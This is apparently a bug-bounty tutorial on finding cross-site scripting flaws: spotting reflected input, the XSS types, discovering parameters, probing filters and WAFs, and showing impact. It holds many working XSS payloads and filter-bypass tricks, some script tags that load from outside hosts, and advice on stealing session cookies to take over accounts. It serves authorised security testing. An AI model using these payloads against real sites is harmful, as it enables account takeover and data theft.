Learning about Cross Site Scripting (XSS)

XSS (known as Cross Site Scripting) is usually the most common and also the most easiest type of vulnerability to find since you are simply looking for your input reflected in the response. What do we mean by this?

Imagine this: You are currently on the website URL https://www.example.com/login?return=/home. You notice ?return=/home and from checking the source via view-source:https://www.example.com/login?return=/home you confirm /home is reflected as, <script>var return = '/home';</script>. If you change return to /test and notice it's changed then you've confirmed you can control it. You can simply check every parameter & look for your input in the response.

You're looking for parameters that are reflected that you can control

Next, we need to see if it's actually vulnerable to XSS. We can control the reflection, but we need to cause some impact which means executing our own HTML/JS. An example: If we used a payload such as </script><svg/onload=alert(0)> and your payload is reflected as valid HTML then it should show a popup box with "0". This type of vulnerability is called reflective xss. The web application is handling your inputted value and reflecting it on the source.

Dont be mistaken and just use Inspect Element when looking for your reflection. Inspect Element will open the DOM, whereas view-source will open the raw HTML. What's the difference? Imagine this:, when viewing /user/settings, one application will simply reflect your information, which can be found in both inspect element and view-source:. But, another web application makes another request to /api/user/settings and appends the response in the DOM. You won't see your information via view-source, but you will via Inspect Element. This is because the data was retrieved from elsewhere and appended. Use both approaches when checking for your reflection.

That's not all with XSS as there are different types. Imagine this: you can signup to your website and you give yourself a display name of <svg/onload=alert(0)> and the website allows you to share posts on your page (like twitter). When posting you notice an "0" javascript alert box. This would be Stored XSS as the web application has stored your input and it's reflected without you needing to use any parameters in the GET/POST request. In the first example we inputted it via the parameter, ?return=, but in this case we saved and stored the input first and then web application reflected it for us.

Those are two examples of XSS and how you are simply looking for your value being reflected as valid HTML. With that said, not every XSS is as straight forward as that as sometimes filters/WAFs are in place to prevent XSS attacks and certain characters are restricted. Let's first explore each XSS type and some scenarios you may discover these.

Different types of XSS

  • Stored XSS is when the XSS is stored in the websites database and reflected back to users. For example imagine your twitter name. This is stored & displayed to other users.

    Check all inputs you can control and save XSS payloads everywhere you can

  • Reflective XSS is when XSS is reflected in the source via a parameter in the URL/request, either via a GET or a POST request.

    Check all parameters/headers (such as Referrer or even User-agent, think web cache poisoning!). Don't forget to fuzz for common parameter names.

  • DOM XSS is XSS executing from the DOM, usually injected via hash fragments, for example ``#q=<svg/onload=alert(0)>

    Check through javascript files and look for certain sinks known to cause DOM XSS such as document.write(), .innerHTML, jquery.html(). It can also be found if you notice the web application is redirecting via Javascript, such as top.location.href=returnUrl. Using javascript:alert(0) would cause XSS to execute.

  • Self XSS is XSS that only affects you. This could be in your account settings that only you can access. For these types of XSS I recommend looking for a cross site request forgery issue on login which you can use in a chain.
  • Blind XSS is an XSS payload that fires blindly, for example on an admins backend. It doesn't execute for you, but it does for another user (usually employees).. Imagine you have ordered some food and you add on the notes, <script src=//zseano.com/> and when the restaurant opens your order, the XSS payload may fire. For this you should host XSSHunter yourself on your own instance. It's real simple to setup!

Input everywhere

Input xss payloads where-ever possible. Your name, in your email (test+<h2>@test.com), bio. See how it's handled and reflected, is anything stripped/filtered? Don't use the most common <script> as most web applications will filter this and instead start with something "harmless" such as <h2>. This is more likely to work especially if some type of html markdown rendering is being used and you can work on building an XSS payload with impact. Carry on reading to learn more on the flow of testing for XSS.

Discovering parameters

Apart from looking in your web proxy logs for ?parameter= when navigating the web application and seeing the parameters being used are simply right there in front of you you can also discover more by looking in the raw html (view-source:) and the DOM (Inspect element) for things such as <input id='param1' name='param1'> and begin building a wordlist to fuzz. For example in this case you'd try param1 as a parameter. You can also browse .js files (look for var =) or you can simply brute force commonly known parameter names, such as returnUrl.

I can not stress enough how much large companies re-use code & parameter names across lots of endpoints.

Testing XSS and if there's any filters

Here is my simple testing methodology when testing for XSS. Each case will help you determine what's being filtered

<h2> vs <script> - h2 tags are usually not blacklisted. how are both handled?

<script src=//evil/?c= - Are they only looking for complete tags? Notice we don't end the HTML tag and append extra HTML as a parameter!

</script/x> - The trailing / closing the tag can sometimes break filters. I have high success rate with this.

<<h2>> - may strip the outter < > leaving <h2>

<IFRAME> - is it case sensitive?

"onxss= - are they only looking for the most known on{} event handlers? onxss= isn't valid. Does it error when using onerror= but not when onxss=?

Using the above will give you a clear indication if something is vulnerable to XSS as well as information on what they may be filtering. Now imagine you've determined <h2> is reflected, but <script> is not, this means we're faced with a filter. We know it's vulnerable to XSS as it reflects our innocent <h2> tag, but they're filtering malicious html tags.

Understanding XSS filters

Firstly, if no matter what payload you use, you always see &lt;script&gt;, %3Cscript%3E then it is not likely to be vulnerable. However, developers like to try introduce filters for various reasons which create XSS opportunities. Instead of preventing HTML payloads altogether via correct sanitisation/encoding, they choose to filter out "malicious" html. Filters can be good sometimes in a way as it means you get to play & try to reverse enigneer the developers thoughts. From understanding how a developer has chosen to filter certain XSS payloads, it can give you an idea for the security throughout (perhaps similar filtering exists on a potential SSRF?). Below are some common cases when testing XSS and how I go about trying to create a working proof of concept (PoC).

  • Problem #1

    You use the payload <script>alert(0)</script> and notice only alert(0) is reflected.

    What to try

    At this point I start asking, are they simply filtering certain html tags?. Trying payloads such as <script src=// (without ending the tag), is <script filtered regardless? In which case, does <notreal> (not a real tag, not filtered?) work? You could then use <notreal onpointerrawupdate=alert`0`> which executes on Firefox.

  • Problem #2

    You use the payload <script>alert(0)</script> and notice &lt;script&gt;alert(0)&lt;/script&gt; is reflected.

    What to try

    It is perhaps unlikely this parameter will be vulnerable to XSS, however do not rule it out. Test for different encodings such as %3Cscript%3Ealert(0)%3C%2Fscript%3E as the filter may be looking for <, but encoding bypasses the checks. You can also try providing < yourself (but encoded, so %26lt%3Bscript%26gt%3Balert(0)%26lt%3B%2Fscript%26gt%3B). The server may process it as valid HTML on response.

  • Problem #3

    The response only contains part of the payload, for example "><script>alert(0)</script> only returns "><script>

    What to try

    First things first, we know they don't filter XSS here, however this can be quite tricky to bypass as it all depends on where it is returned and if you can control anything else. In the past i've had a case where I able to signup using XSS in my first and last name and whenever I commented on a post my name would render the HTML set in the first name, but I was stuck to a limited number of characters so the working method was to setup three accounts with the following names:

    Account One: <script>/*. This starts a script tag and multi-comments out everything below
    Account Two: could be set to anything.
    Account Three: */</script>. This ends the multi comment tag and also the script tag.

    Firstly, account THREE posts first since newest comments are at top.
    Next, account TWO posts the payload to be executed by posting the following comment: */ alert(0) /*.
    Lastly we leave a comment with account ONE.

    Because account ONE's name is reflected first with the name <script>/*, this starts the script tag, comments out everything below because of /*, until it gets to my comment wich ends the multi-comment and executes alert(0). Account THREE then ends the multi-comment and ends the script tag. There we have 3 chained payloads to achieve stored XSS and a nice payout!

    When you have limited characters available you need to get creative & see what options you have available.

  • Problem #4

    The payload "><script>alert(0)</script> only returns "scriptalert(0)/ and strips everything else.

    What to try

    We don't always need the < tag to get XSS. As long as it's reflected on a HTML tag (<input value="ourinput">) and you can control some characters such as ' and " then we should be able to use any of the following payloads: "onfocus="alert(0)" k="`, "onmouseover=alert(0), "onmousenter="alert(0)" k=", It would be reflected as <input value=""onmouseover=alert(0)> which would be valid HTML. You can find a list of event handlers from http://www.w3schools.com/jsref/dom_obj_event.asp.

    One common problem researchers find is when on{} is blacklisted/filtered. It all depends on where it is reflected but I find trying the payload onxss= can determine if they are filtering on*, or if just something like onfocus= is blacklisted.

    For the first one I recommend trying things like on%0dmouseover= (you can also use %09, %0C, %00 here), "onmouseover%3D, onmouseover=alert(0)"= (I had an experience where a WAF would allow for anything aslong as the payload ended in =). However, if it's the latter then I recommend running through the list above.

Beating WAFs

The last peice of advice i'd like to give researchers faced with a filter/waf when hunting for XSS is to remember the WAF is typically just looking for certain strings. It might even be running on a blacklist and by using things like "%0d" (for example <svg%0donload=prompt(1)>), it can sometimes bypass it and render your XSS. Understand what the filter is looking for and start fuzzing/testing. I've noticed java%09script: will bypass CloudFlare WAF in certain cases.

Creating impact

Sometimes bug bounty programs will reward more if a proof of concept is provided with your XSS, rather than using alert(0). Some examples for creating impact can be seen below.
  • Leaking sensitive cookies

    If the session= cookie doesn't have HTTPOnly protection then your XSS will be able to access this and you'll be able to potentially achieve account takeover. Test using the leaked session cookie on a fresh browser session and see if you authenticate!

  • Obtaining CSRF tokens to perform an action

    Can you change their email without any confirmation? Try perform an action which will result in you compromising the users account via your XSS. This will help create higher impact for your bug bounty reports

  • Leaking sensitive information

    Remember, XSS is running on your target domain, this means you have access to .domain.com. An example would be using a "weak" CORS filter which allows for *.domain.com. An example of this can be found on this Apple XSS which was used to leak sensitive PII information - https://zseano.medium.com/finding-xss-on-apple-com-and-building-a-proof-of-concept-to-leak-your-pii-information-d7bc93cff2df

Test your knowledge with BugBountyHunter Challenges


A list of useful websites, blog posts, reports tools to help you.